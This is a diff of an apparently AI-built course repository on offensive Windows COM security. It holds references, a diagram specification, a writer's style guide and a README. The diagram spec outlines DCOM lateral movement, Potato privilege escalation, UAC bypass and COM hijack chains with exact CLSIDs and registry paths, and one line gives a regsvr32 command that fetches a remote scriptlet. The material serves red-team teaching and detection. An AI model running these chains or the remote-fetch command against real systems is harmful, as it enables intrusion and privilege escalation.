|
[41] DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape — hack.lu 2025 slides — https://d3lb3.github.io/assets/hacklu_2025.pdf
|
||||||
|
[42] CVE-2020-1362 WalletService writeup — Q4n (2020) — https://github.com/Q4n/CVE-2020-1362
|
||||||
|
[43] Mitigate some Exploits for Windows UAC (MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html
|
||||||
|
[44] Microsoft Security Servicing Criteria for Windows — Microsoft — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria
|
||||||
|
[45] The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing (2025) — https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965
|
||||||
|
[46] CVE-2017-0100 — Windows HelpPane Elevation of Privilege Vulnerability — Microsoft Security Response Center (2017) — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0100
|
||||||
|
[47] Merged View of HKEY_CLASSES_ROOT — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
|
||||||
|
[48] BloodHound — ExecuteDCOM edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom
|
||||||
|
[49] COM in Sixty Seconds — James Forshaw — https://github.com/tyranid/presentations
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
# DIAGRAM SPEC — COM Security Masterclass (28 PNGs)
|
||||||
|
|
||||||
|
Output dir: `/mnt/agents/output/com-masterclass-md/diagrams/`
|
||||||
|
Implement with **matplotlib** (no AI image generation — these must be pixel-accurate technical diagrams with exact CLSIDs/paths). Write a shared helper module (`diag.py`) with primitives: `box()`, `label()`, `arrow()`, `step_circle()`, `boundary()`, `seq_lifeline()`, then one function per diagram. Render at `dpi=150`.
|
||||||
|
|
||||||
|
## Global style (mandatory)
|
||||||
|
|
||||||
|
| Role | Value |
|
||||||
|
|---|---|
|
||||||
|
| Canvas | white `#FFFFFF`, default figsize (11, 6.2), adjust aspect per diagram |
|
||||||
|
| Node fill | `#F6F3EE`, border `#46505C` lw=1.2, **square corners only** (FancyBboxPatch with `boxstyle="square,pad=0"` or Rectangle) |
|
||||||
|
| Hub/dark node | fill `#20242A`, text `#EDEBE6` |
|
||||||
|
| Normal flow arrow | `#46505C` lw=1.2, `arrowstyle="-|>"`, solid |
|
||||||
|
| ATTACK path arrow | `#8F2D24` lw=2.2, solid |
|
||||||
|
| Defense/detection | `#256D5B` lw=1.2, dashed |
|
||||||
|
| Research/next-step | `#9A6A1F` lw=1.2, solid |
|
||||||
|
| Text | `#20242A`; secondary `#6B7280`; family: DejaVu Sans; code/paths/CLSIDs: DejaVu Sans Mono |
|
||||||
|
| Trust boundary | Rectangle, dashed `#6B7280` lw=1, no fill, label top-left inside, 9pt, e.g. "TRUST BOUNDARY — medium IL" |
|
||||||
|
| Step markers | circle r=0.02 fig, fill `#8F2D24`, white bold 9pt number |
|
||||||
|
| Figure title | top-left, bold 13pt `#20242A`, plus thin `#E5E0D8` rule under it |
|
||||||
|
| Caption (optional) | bottom-left 9pt `#6B7280` |
|
||||||
|
- No gradients, no shadows, no rounded corners, no 3D. Arrows must not cross text; label every arrow with protocol/API/data in 8.5–9.5pt. Monospace 8.5pt for CLSIDs, registry paths, API names.
|
||||||
|
- Export: `fig.savefig(path, dpi=150, bbox_inches="tight", facecolor="white")`.
|
||||||
|
|
||||||
|
## Diagrams
|
||||||
|
|
||||||
|
### Fundamentals
|
||||||
|
1. **d01-com-activation-flow.png** — "COM activation: from CoCreateInstance to a live object". Sequence: [Client process] →(1 CoCreateInstance(CLSID, IID))→ [combase/ole32] →(2 registry lookup `HKCR\CLSID\{...}`)→ [Registry]. Branch: (3a InprocServer32 → `LoadLibrary` inside client) vs (3b LocalServer32 → RPC to [SCM/RPCSS] →(4 start service/exe)→ [Server process] →(5 `CoRegisterClassObject`)→ back →(6 `IClassFactory::CreateInstance` + proxy/stub)→ client holds interface pointer.
|
||||||
|
2. **d02-inproc-vs-oop.png** — "In-proc vs out-of-proc: where the trust boundary sits". Two panels. Left: one process box containing [client code] + [COM DLL]; note "same token, same IL — no privilege boundary". Right: [Client — medium IL] →(RPC/ALPC, NDR-marshaled call)→ trust boundary → [OOP server — NT AUTHORITY\SYSTEM]; note "crossing a privilege boundary = the attack surface for LPE".
|
||||||
|
3. **d03-hkcr-merge.png** — "HKCR is a merged view — and HKCU wins". [HKCU\Software\Classes] + [HKLM\Software\Classes] → merge arrow → [HKCR view consumed by activation]. On conflict, HKCU shadows HKLM. Red arrow from [Attacker (medium IL, no admin)] writing `HKCU\Software\Classes\CLSID\{target}\InprocServer32` → note "per-user hijack: no admin needed".
|
||||||
|
4. **d04-marshaling-objref.png** — "Marshaling: how a method call crosses processes". [Client: proxy] → [COM channel / RPC runtime] → [Server: stub]. Under: OBJREF layout box: `OXID (apartment/exporter) · OID (object) · IPID (interface)` + resolution note. Side table: standard marshaling = MIDL/NDR proxy-stub DLL; automation = type library (oleaut32); custom = `IMarshal` (hand-rolled deserialization — audit this).
|
||||||
|
5. **d05-dcom-wire.png** — "DCOM on the wire". [Host A: client] →(1 TCP 135 `IRemoteSCMActivator::RemoteCreateInstance`)→ [Host B: RPCSS] →(2 OXID resolution `IObjectExporter::ResolveOxid2`)→ [OXID resolver] →(3 method calls `IRemUnknown::RemQueryInterface` etc., dynamic high ports)→ [Server object]. Callout (amber): "RoguePotato hijacks step 2 with a fake OXID resolver".
|
||||||
|
6. **d06-impersonation-contract.png** — "The impersonation contract". Sequence: [Client] sets `CoSetProxyBlanket(..., RPC_C_IMP_LEVEL_*)` → call → [Server] `CoQueryClientBlanket` → decision diamond: `level >= IMPERSONATE?` → yes → `CoImpersonateClient` → act with CLIENT token (safe, slate) ; no/missing check → server acts with its own SYSTEM token (red, "bug class #1: missing/late impersonation").
|
||||||
|
7. **d07-elevation-moniker.png** — "Elevation moniker & auto-elevation". [Medium-IL process] → `CoGetObject("Elevation:Administrator!new:{CLSID}")` → [APPINFO service] → decision: class auto-approved (autoElevate manifest + signed + secure dir, or `HKCR\CLSID\{...}\Elevation\Enabled`) → no prompt (red path: "silent high-IL object — UAC bypass primitive") vs not approved → consent UI (slate path).
|
||||||
|
8. **d08-com-architecture.png** — "COM attack-surface map". Central hub [combase / ole32] connected to: [Registry HKCR], [SCM/RPCSS], four server kinds (In-proc DLL · dllhost surrogate · Service-hosted EXE · Remote DCOM), [ROT + monikers], [Type libraries + proxy/stub DLLs]. Thin red ticks mark each abuseable edge (hijack, impersonate, marshal, elevate, relay).
|
||||||
|
|
||||||
|
### Lateral movement
|
||||||
|
9. **d09-dcom-lateral.png** — "DCOM lateral movement: anatomy". [Attacker host: PowerShell / impacket] →(DCOM activation, Kerberos/NTLM, TCP 135 + dynamic)→ [Target: RPCSS] → starts/attaches [mmc.exe] hosting [MMC20.Application] → `Document.ActiveView.ExecuteShellCommand(...)` → [cmd.exe child]. Teal dashed IoC callouts: "Sysmon 1: mmc.exe → cmd.exe lineage", "Sysmon 3: inbound 135 + high ports", "no service install, no SMB file drop".
|
||||||
|
10. **d10-mmc20-chain.png** — "MMC20.Application kill chain". 5 numbered steps with mono labels: 1 `GetTypeFromCLSID({49B2791A-...}, "target")` 2 `ActivateAs` / `CreateInstance` (admin creds) 3 MMC snap-in object model 4 `Document.ActiveView.ExecuteShellCommand("cmd.exe", ...)` 5 payload runs on target. Under: note "fires a visible MMC window unless executed headless — OpSec tradeoff".
|
||||||
|
11. **d11-shellwindows-chain.png** — "ShellWindows / ShellBrowserWindow". [Attacker] → DCOM → [explorer.exe on target hosts ShellWindows {9BA05972-...}] → `Item().Document.Application.ShellExecute("cmd.exe")`. Note: needs interactive session on target; runs as the logged-on user.
|
||||||
|
|
||||||
|
### Privilege escalation
|
||||||
|
12. **d12-missing-impersonation.png** — "Bug class #1: server forgets to impersonate". Two lanes. SAFE: client → call → server `CoImpersonateClient` → file op runs as caller (slate). VULNERABLE (red): client passes attacker-controlled path → server writes with its own SYSTEM token → "arbitrary file write as SYSTEM". Bottom note: "hunt: privileged file/registry/process ops reachable from low IL without impersonation".
|
||||||
|
13. **d13-diaghub-chain.png** — "DiagHub: arbitrary file write → SYSTEM (Forshaw, 2018)". 6 steps: 1 activate `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}` via DCOM 2 start collector session 3 abuse session control to write attacker-chosen file as SYSTEM 4 redirect via junction/symlink to DLL path 5 trigger load into SYSTEM process 6 code execution as SYSTEM. Note: "patched; exploitation mitigations added 19H1 (ProcessImageLoadPolicy)".
|
||||||
|
14. **d14-rottenpotato.png** — "RottenPotato: NTLM reflection over DCOM". [Service account w/ SeImpersonatePrivilege] →(1 `CoGetObject(IStorage)` for BITS `{4991D34B-80A1-4291-83B6-3328366B9097}`)→ [COM activation] →(2 local NTLM reflection to TCP)→ [NTLM type 1/2/3 relay loop] →(3 SYSTEM token)→ `DuplicateTokenEx` → `CreateProcessWithTokenW` → [SYSTEM shell].
|
||||||
|
15. **d15-roguepotato.png** — "RoguePotato: fake OXID resolver + named pipe". 1 trigger SYSTEM to authenticate (IStorage trigger / `RpcRemoteFindFirstPrinterChangeNotificationEx`) 2 victim's OXID resolution redirected to attacker's fake resolver (port-135 restrictions) 3 NTLM auth relayed to local named pipe 4 `ImpersonateNamedPipeClient` → SYSTEM token.
|
||||||
|
16. **d16-potato-timeline.png** — "The *Potato lineage". Horizontal timeline 2016→2023+: RottenPotato (reflection, BITS) → JuicyPotato (CLSID bruteforce) → PrintSpoofer (named pipe, no DCOM) → RoguePotato (OXID redirect) → SweetPotato (combo) → JuicyPotatoNG (PrintNotify trigger, 1809+) → LocalPotato (CVE-2023-21746). Under each: works-on / killed-by note (small).
|
||||||
|
17. **d17-trapped-objects.png** — "Trapped COM objects: type confusion via IDispatch (2025)". [Attacker registers/swaps type library or proxy definition] → [privileged client queries interface] → object "trapped": vtable/struct layout mismatch → type confusion → controlled method call in privileged context. Note: "bug class, not one CVE — audit every place a proxy definition can be influenced".
|
||||||
|
|
||||||
|
### UAC bypass
|
||||||
|
18. **d18-uac-autoelevate.png** — "Auto-elevated COM: the prompt that never appears". Lane A (normal): medium-IL proc → APPINFO → consent prompt → high-IL proc. Lane B (COM, red): medium-IL proc → `CoCreateInstance` of auto-elevated class → high-IL object WITHOUT prompt → call interface methods (e.g. `IFileOperation.CopyItem`) → write to `%windir%\System32`.
|
||||||
|
19. **d19-ifileoperation-chain.png** — "IFileOperation bypass chain". Steps: 1 bind elevated `IFileOperation {3AD05575-8857-4850-9277-11B85BDB8E09}` 2 `SetOperationFlags(FOFX_NOCONFIRMATION|FOFX_SILENT...)` 3 `CopyItem(payload.dll → C:\Windows\System32\...)` 4 `PerformOperations()` 5 auto-elevated process loads the planted DLL → high-IL execution. Teal note: "signal: medium-IL process writing into System32 via COM".
|
||||||
|
20. **d20-cmstplua-chain.png** — "CMSTPLUA / ICMLuaUtil". 1 activate `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (auto-elevated, hosted by cmstp-related binary) 2 get `ICMLuaUtil` 3 `ShellExec("cmd.exe", "/c ...")` → high-IL child process. Variant note: `SetRegistryStringValue` → elevated registry write.
|
||||||
|
|
||||||
|
### Persistence
|
||||||
|
21. **d21-com-hijack.png** — "Per-user COM hijack". [Attacker (medium IL)] writes `HKCU\Software\Classes\CLSID\{target}\InprocServer32 = payload.dll` (red) → later/logon: [auto-start process] activates `{target}` → merged HKCR resolves to HKCU entry → [payload.dll loaded] (red). Inset mini-diagram: HKCU-over-HKLM precedence (echo d03). Teal: "hunt: InprocServer32 under HKCU pointing to user-writable paths".
|
||||||
|
22. **d22-treatas-typelib.png** — "TreatAs and TypeLib redirection". Panel A: `HKCR\CLSID\{A}\TreatAs = {B}` → activation of A silently returns B (`CoTreatAsClass`) — point A at attacker class. Panel B: TypeLib hijack — override `HKCU\Software\Classes\TypeLib\{TLBID}\x.y\0\win32` → oleaut32 loads attacker's typelib/proxy → marshaling redirection for any automation client.
|
||||||
|
|
||||||
|
### Execution & defense evasion
|
||||||
|
23. **d23-squiblydoo.png** — "Squiblydoo: scriptlets via signed proxy". [regsvr32.exe (Microsoft-signed)] `/i:http://host/p.sct scrobj.dll` → [scrobj.dll parses COM scriptlet] → JScript/VBScript runs → `CreateObject`/payload. Teal callouts: AMSI scans script content; Sysmon 7 image load scrobj.dll; AWL bypass because host binary is signed.
|
||||||
|
24. **d24-ppl-injection.png** — "Type-library substitution → code in PPL (Forshaw, 2018)". 1 attacker plants substitute typelib/proxy registration in HKCU 2 PPL process (e.g. protected svchost) activates the interface 3 oleaut32 unmarshals with attacker-defined layout → type confusion 4 arbitrary call/exec inside PPL. Note: fixed by Microsoft; still the model for marshaling-confusion research.
|
||||||
|
25. **d25-relay-chain.png** — "Coercion + relay: where COM plugs in". [Attacker] →(1 coerce SYSTEM/machine auth: MS-RPRN / PetitPotam / IStorage trigger)→ [Victim service] NTLM auth →(2 relay to target/loopback: DCOM activation or LDAP/SMB)→(3 DCOM-activated object method executes)→ [code execution]. Mark which links are COM (activation, IStorage) vs pure RPC (coercion).
|
||||||
|
|
||||||
|
### Detection & research
|
||||||
|
26. **d26-telemetry-map.png** — "Telemetry coverage map". Matrix, rows = LM / LPE / UAC / Persistence / Execution; columns = Sysmon 1 · Sysmon 3 · Sysmon 7 · Sysmon 12-14 · Security 4624/4648/4672 · ETW (RPC/COM) · Network. Teal dots where a signal exists; caption: "no single source suffices — layer them".
|
||||||
|
27. **d27-research-pipeline.png** — "The zero-day pipeline". 8-stage horizontal pipeline with tool labels: Enumerate (OleViewDotNet, registry sweeps) → Triage (OOP+SYSTEM+ACLs+dangerous methods) → Static RE (IDA/Ghidra, proxy/typelib) → Dynamic harness (clients, ProcMon, TTD) → Fuzz (typed mutation, marshal paths) → Root cause → Weaponize (primitive → LPE chain) → Report (MSRC/ZDI). Amber arrows.
|
||||||
|
28. **d28-fuzzing-harness.png** — "COM fuzzing harness anatomy". [Create valid object] → [interface/method iterator] → [typed mutators: BSTR paths · SAFEARRAY bounds · VARIANT types · IStream blobs · fake interfaces] → [call loop w/ HRESULT log] → [crash monitor: page heap + AppVerifier + debugger + WER] → corpus/triage loop back.
|
||||||
|
|
||||||
|
## Acceptance
|
||||||
|
- All 28 PNGs exist, ≥1400px wide, sharp text (zoom test at 100%).
|
||||||
|
- Spot-check: every CLSID/path in these specs rendered correctly (no typos).
|
||||||
|
- One review montage (contact sheet) for the orchestrator.
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
# MD STYLE GUIDE — COM Security Masterclass (markdown knowledge base)
|
||||||
|
|
||||||
|
You are writing one (or two) markdown file(s) for a downloadable zero-to-advanced COM security course for red teamers. Your file must be **book-chapter grade**: precise, dense, reproducible, with no filler.
|
||||||
|
|
||||||
|
Project root: `/mnt/agents/output/com-masterclass-md/`
|
||||||
|
Diagrams (already specified, generated in parallel): reference as `diagrams/dNN-name.png` with EXACT filenames given to you in your mission. Do not invent other image files.
|
||||||
|
|
||||||
|
## File skeleton (mandatory)
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
# NN · <Title>
|
||||||
|
|
||||||
|
> **Audience / level:** ... **Prerequisites:** ... **Estimated reading time:** ...
|
||||||
|
> One-sentence summary of what the reader will be able to DO after this chapter.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. Section](#1-section)
|
||||||
|
- ...
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## sections...
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Research Lab: <category-specific hunting methodology>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
```
|
||||||
|
|
||||||
|
## Heading & structure rules
|
||||||
|
|
||||||
|
- `#` once (title). `##` numbered sections (`## 1. ...`). `###` per technique. `####` for sub-parts of a technique.
|
||||||
|
- Beginner scaffolding is REQUIRED: early sections of each file start from zero, define every term on first use (`> **Beginner note:** ...` blockquotes), then ramp to full depth. The reader goes from "what is a CLSID" to "here is how to fuzz marshaling" inside your file.
|
||||||
|
- Use tables for comparisons/prerequisites; use fenced code blocks with language tags: `powershell`, `csharp`, `cpp`, `python`, `idl`, `text`, `reg`.
|
||||||
|
- All CLSIDs, GUIDs, registry paths, API names, file paths in `backticks`. Spell CLSIDs EXACTLY as in your research brief — character for character.
|
||||||
|
- Callouts via blockquotes only: `> **Key idea:**`, `> **Beginner note:**`, `> **Warning:**`, `> **Legal:**`, `> **OpSec:**`. No emojis anywhere.
|
||||||
|
- Figures: `` followed immediately by a 1-2 sentence **"How to read this figure"** line. Embed figures where they carry meaning, not as decoration.
|
||||||
|
|
||||||
|
## Attack technique template (use for EVERY technique)
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
### <Technique name> (<one-line summary>)
|
||||||
|
|
||||||
|
**MITRE:** [TXXXX.YYY](https://attack.mitre.org/techniques/TXXXX/YYY/) · **Since:** <year/researcher> · **Affects:** <builds>
|
||||||
|
|
||||||
|
<2-4 sentences: what it is, who published it, why it works.>
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: ...*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
<numbered step-by-step attack chain; name every API, interface, method, CLSID>
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | ... |
|
||||||
|
| OS/build | ... |
|
||||||
|
| Config | ... |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
```powershell
|
||||||
|
# minimal, runnable-in-lab snippet
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
- Sysmon/Event IDs, process lineage, ETW, network indicators
|
||||||
|
- What a defender sees; how to reduce noise
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
- ...
|
||||||
|
```
|
||||||
|
|
||||||
|
## Research Lab section (the most important differentiator)
|
||||||
|
|
||||||
|
End your attack file with `## Research Lab: ...` containing:
|
||||||
|
1. **Hunting hypothesis** — what class of NEW bugs this category still hides.
|
||||||
|
2. **Enumeration** — concrete commands/scripts (PowerShell, OleViewDotNet usage) to build a target list.
|
||||||
|
3. **Triage heuristics** — checklist "a target is promising if…".
|
||||||
|
4. **Analysis workflow** — static RE checklist + dynamic harness sketch (with code).
|
||||||
|
5. **Fuzzing/mutation ideas** — typed argument mutation specific to this category.
|
||||||
|
6. **From crash/lead to primitive** — how to prove exploitability.
|
||||||
|
7. **Further reading** — 3-6 links from your brief.
|
||||||
|
|
||||||
|
## Accuracy rules (non-negotiable)
|
||||||
|
|
||||||
|
- ONLY facts present in your research brief (provided in your mission). No invented CLSIDs, CVEs, event IDs, URLs, dates, or researcher attributions. If something is uncertain, omit it or mark "(verify in lab)".
|
||||||
|
- Label any hypothetical/illustrative code or scenario as `*(illustrative)*`.
|
||||||
|
- References section at file end: numbered, `[N] Title — Author/Site (Year) — URL`. Also cite inline where a specific claim originates: `([3])`.
|
||||||
|
- No marketing language, no "in conclusion", no repeated content. Every paragraph must teach something.
|
||||||
|
|
||||||
|
## Length targets
|
||||||
|
|
||||||
|
- Fundamentals file: 600-900 lines.
|
||||||
|
- Attack-category file: 500-800 lines.
|
||||||
|
- Write the file in MULTIPLE `write_file` calls (append mode) — never truncate mid-thought; a complete file is the deliverable.
|
||||||
|
|
||||||
|
## QA before finishing
|
||||||
|
|
||||||
|
- Every `diagrams/...` path you reference must be in your assigned diagram list.
|
||||||
|
- Every heading anchor in Contents must resolve (GitHub-style: lowercase, spaces→dashes, punctuation stripped).
|
||||||
|
- Report back: file(s) written, line counts, any gaps where the brief lacked data.
|
||||||
@@ -1,2 +1,71 @@
|
|||||||
# Offensive-COM
|
# Offensive COM (Component Object Model)
|
||||||
Research notes on Windows Component Object Model (COM) attack surface for offensive security and vulnerability research. Covers COM hijacking, elevation of privilege, DCOM lateral movement, and persistence primitives with annotated exploitation paths.
|
|
||||||
|
A complete, research-grade knowledge base on **Windows COM (Component Object Model) offensive security**, built for red teamers who start with little or no COM background and want to end up able to hunt for **zero-days** on their own.
|
||||||
|
|
||||||
|
Every chapter goes from *"what is a CLSID"* to *"here is how to fuzz marshaled NDR buffers against a SYSTEM COM server"* — with exact CLSIDs, registry paths, API signatures, runnable lab snippets, 28 purpose-built technical diagrams, per-technique detection guidance, and a **Research Lab** at the end of every attack category that turns the chapter into a repeatable hunting methodology.
|
||||||
|
|
||||||
|
|
||||||
|
> **Legal:** This material is for authorized security testing, research, and defense only. Every technique here is published defensive knowledge drawn from the public research record (Project Zero, vendor advisories, conference talks, vendor blogs). Running any of it against systems you do not own or lack written authorization to test is illegal in most jurisdictions. You are responsible for your own lab.
|
||||||
|
>
|
||||||
|
> **Provenance:** All facts, CLSIDs, CVEs, code snippets, and URLs in these chapters come from six cross-verified research briefs (kept in `research/`). Anything the sources could not double-confirm is explicitly marked **"(verify in lab)"** or carries a confidence label. Nothing is invented.
|
||||||
|
|
||||||
|
> Powered By 🤖 Kimi K3 Max Swarm
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## How to use this knowledge base
|
||||||
|
|
||||||
|
**If you are new to COM (the "zero to hero" path):**
|
||||||
|
Read `01` cover to cover first. It defines every term, walks the registry layout, activation, marshaling, apartments, monikers, and the security model. Then read the attack chapters in order — each one re-explains what it needs before going deep.
|
||||||
|
|
||||||
|
**If you are an operator preparing for an engagement:**
|
||||||
|
Jump straight to the attack chapter you need. Each technique follows a fixed template: mechanics → prerequisites table → proof of concept → OpSec & detection → mitigations. Check `07` (Detection Engineering) against your target's likely telemetry before choosing a technique.
|
||||||
|
|
||||||
|
**If you want to find new bugs (the researcher path):**
|
||||||
|
Read `01`, then the **Research Lab** section at the end of each attack chapter (`02`–`06`), then `08` — the capstone — which assembles the full pipeline: enumeration → triage → static RE → dynamic harness → fuzzing → primitive → weaponization → reporting.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## File map
|
||||||
|
|
||||||
|
| File | What it covers | Diagrams |
|
||||||
|
|---|---|---|
|
||||||
|
| `01-com-fundamentals.md` | The whole COM machine: vtables, IUnknown/IDispatch, GUIDs, HKCR merged view (HKCU wins), CLSID/AppID/Interface/TypeLib registry anatomy, activation (in-proc/OOP/remote/moniker), marshaling & OBJREF/MEOW, apartments, ROT, the security model, elevation bridge, WinRT/.NET, attack-surface map, tooling & lab | d01–d08 |
|
||||||
|
| `02-dcom-lateral-movement.md` | DCOM remoting on the wire; MMC20.Application, ShellWindows, ShellBrowserWindow, Excel (DDE/RegisterXLL/ExecuteExcel4Macro), Outlook + DotNetToJScript, Visio/PowerPoint, mobsync; impacket dcomexec / SharpMove / Cobalt Strike; KB5004442 hardening; detection | d05, d09–d11 |
|
||||||
|
| `03-com-privilege-escalation.md` | The impersonation contract and its 6 failure modes; DiagHub & USO case studies; DCOM NTLM reflection (CVE-2015-2370) and the 2015→2023 hardening timeline; the complete Potato family (Rotten → Juicy → Rogue → PrintSpoofer → Sweet → JuicyNG → LocalPotato → GodPotato/DCOMPotato…) with build ranges and a decision tree; Trapped COM objects (2025) & PPL injection; other COM LPE CVEs | d06, d12–d17 |
|
||||||
|
| `04-com-uac-bypass.md` | UAC internals (split tokens, integrity levels, AppInfo); elevation moniker & auto-elevation; registry hijacks (fodhelper/eventvwr/sdclt/computerdefaults/WSReset); elevated COM objects (CMSTPLUA/ICMLuaUtil, IFileOperation, ElevatedFactoryServer→Task Scheduler); DLL hijacks, mock dirs, SilentCleanup, token abuse, CVE-2019-1388; UACME | d07, d18–d20 |
|
||||||
|
| `05-com-persistence.md` | Per-user COM hijacking (HKCU shadowing), documented CLSID cases (eventvwr, MMDeviceEnumerator/APT28, MruPidlList/ComRAT), scheduled-task ComHandler, TreatAs redirection (Turla), **TypeLib hijacking incl. the `script:` moniker and the 2025 ReliaQuest/Black Basta in-the-wild case**, phantom objects, pass-through proxy DLLs (full C++ skeleton); tooling & detection | d03, d21–d22 |
|
||||||
|
| `06-com-execution-defense-evasion.md` | Squiblydoo scriptlets, DotNetToJScript + AMSI, LOLBIN COM execution table, PPL injection via typelib type-confusion & IRundown::DoCallback, trapped COM + ForsHops, DCOM↔NTLM relay (RemotePotato0, RemoteMonologue; "relay FROM DCOM, not TO DCOM"), detection master list, MITRE mapping | d23–d25 |
|
||||||
|
| `07-detection-engineering.md` | Why COM detection is hard; Sysmon/Security/ETW telemetry primer; per-family detection (LM/LPE/UAC/persistence/execution); layered coverage matrix; evasion notes; mitigations & hardening master list | d26 |
|
||||||
|
| `08-zero-day-research-capstone.md` | The full hunting pipeline: enumeration (OleViewDotNet deep usage, registry sweeps, incendium.rocks automation) → triage scoring → static RE (VTable symbolization, NDR proxy decompilation) → dynamic harness → fuzzing marshal paths → primitive proof → weaponization → MSRC/ZDI reporting; open research backlog; master tooling table; master reading list | d27–d28 |
|
||||||
|
| `diagrams/` | 28 technical diagrams (PNG, ≥1400px) + `_contact_sheet.png` montage | — |
|
||||||
|
| `research/` | The six raw research briefs (R1 internals, R2 lateral movement, R3 privesc, R4 UAC, R5 persistence, R6 execution/evasion) the chapters were built from — keep them as an appendix/deeper reference | — |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The Research Lab convention
|
||||||
|
|
||||||
|
Every attack chapter ends with a **Research Lab** section structured the same way:
|
||||||
|
|
||||||
|
1. **Hunting hypothesis** — what class of *new* bugs this category still hides
|
||||||
|
2. **Enumeration** — concrete commands/scripts to build a target list
|
||||||
|
3. **Triage heuristics** — "a target is promising if…"
|
||||||
|
4. **Analysis workflow** — static RE checklist + dynamic harness sketch
|
||||||
|
5. **Fuzzing / mutation ideas** — typed argument mutation for this category
|
||||||
|
6. **From crash/lead to primitive** — how to prove exploitability
|
||||||
|
7. **Further reading** — curated links
|
||||||
|
|
||||||
|
Work through them in order and you have a complete, repeatable zero-day methodology.
|
||||||
|
|
||||||
|
## Diagram index
|
||||||
|
|
||||||
|
`d01` activation flow · `d02` in-proc vs OOP trust boundary · `d03` HKCR merge · `d04` marshaling & OBJREF · `d05` DCOM on the wire · `d06` impersonation contract · `d07` elevation moniker · `d08` attack-surface map · `d09` DCOM lateral anatomy · `d10` MMC20 chain · `d11` ShellWindows chain · `d12` missing impersonation · `d13` DiagHub chain · `d14` RottenPotato · `d15` RoguePotato · `d16` potato lineage · `d17` trapped objects · `d18` UAC auto-elevation · `d19` IFileOperation chain · `d20` CMSTPLUA chain · `d21` per-user hijack · `d22` TreatAs & TypeLib · `d23` Squiblydoo · `d24` PPL injection · `d25` relay chain · `d26` telemetry map · `d27` research pipeline · `d28` fuzzing harness
|
||||||
|
|
||||||
|
## Conventions used in all chapters
|
||||||
|
|
||||||
|
- `> **Beginner note:**` — term defined on first use · `> **Key idea:**` — the insight to remember · `> **Warning:**` — patch-status/version uncertainty · `> **OpSec:**` — detection trade-offs · `> **Legal:**` — authorization reminders
|
||||||
|
- All CLSIDs/GUIDs, registry paths, and API names in `backticks`, character-exact against the source research.
|
||||||
|
- `*(illustrative)*` marks lab scaffolding written for this course (not from a cited source); `(verify in lab)` marks claims the sources could not double-confirm.
|
||||||
|
- References are numbered per chapter and cited inline as `([N])`.
|
||||||
|
|
||||||
|
*Built July 2026. Windows behavior changes between builds — always re-verify patch status and CLSID presence on your specific target version.*
|
||||||
|
|||||||
|
After Width: | Height: | Size: 1.1 MiB |
|
After Width: | Height: | Size: 123 KiB |
|
After Width: | Height: | Size: 94 KiB |
|
After Width: | Height: | Size: 68 KiB |
|
After Width: | Height: | Size: 94 KiB |
|
After Width: | Height: | Size: 80 KiB |
|
After Width: | Height: | Size: 91 KiB |
|
After Width: | Height: | Size: 95 KiB |
|
After Width: | Height: | Size: 134 KiB |
|
After Width: | Height: | Size: 86 KiB |
|
After Width: | Height: | Size: 80 KiB |
|
After Width: | Height: | Size: 68 KiB |
|
After Width: | Height: | Size: 76 KiB |
|
After Width: | Height: | Size: 95 KiB |
|
After Width: | Height: | Size: 82 KiB |
|
After Width: | Height: | Size: 88 KiB |
|
After Width: | Height: | Size: 108 KiB |
|
After Width: | Height: | Size: 81 KiB |
|
After Width: | Height: | Size: 82 KiB |
|
After Width: | Height: | Size: 86 KiB |
|
After Width: | Height: | Size: 64 KiB |
|
After Width: | Height: | Size: 90 KiB |
|
After Width: | Height: | Size: 90 KiB |
|
After Width: | Height: | Size: 70 KiB |
|
After Width: | Height: | Size: 73 KiB |
|
After Width: | Height: | Size: 84 KiB |
|
After Width: | Height: | Size: 58 KiB |
|
After Width: | Height: | Size: 72 KiB |
|
After Width: | Height: | Size: 64 KiB |
@@ -0,0 +1,17 @@
|
|||||||
|
"""Regenerate all 28 diagrams + verify pixel widths."""
|
||||||
|
import gen_a, gen_b, gen_c, gen_d
|
||||||
|
|
||||||
|
paths = []
|
||||||
|
for mod in (gen_a, gen_b, gen_c, gen_d):
|
||||||
|
for fn in mod.ALL:
|
||||||
|
paths.append(fn())
|
||||||
|
|
||||||
|
assert len(paths) == 28, len(paths)
|
||||||
|
from PIL import Image
|
||||||
|
bad = []
|
||||||
|
for p in paths:
|
||||||
|
im = Image.open(p)
|
||||||
|
print(f"{im.size[0]:5d}x{im.size[1]:<5d} {p.split('/')[-1]}")
|
||||||
|
if im.size[0] < 1400:
|
||||||
|
bad.append(p)
|
||||||
|
print("WIDTH CHECK:", "ALL >= 1400px" if not bad else f"TOO NARROW: {bad}")
|
||||||
@@ -0,0 +1,253 @@
|
|||||||
|
"""Shared drawing primitives for the COM Security Masterclass diagrams.
|
||||||
|
|
||||||
|
Global style (from DIAGRAM_SPEC.md):
|
||||||
|
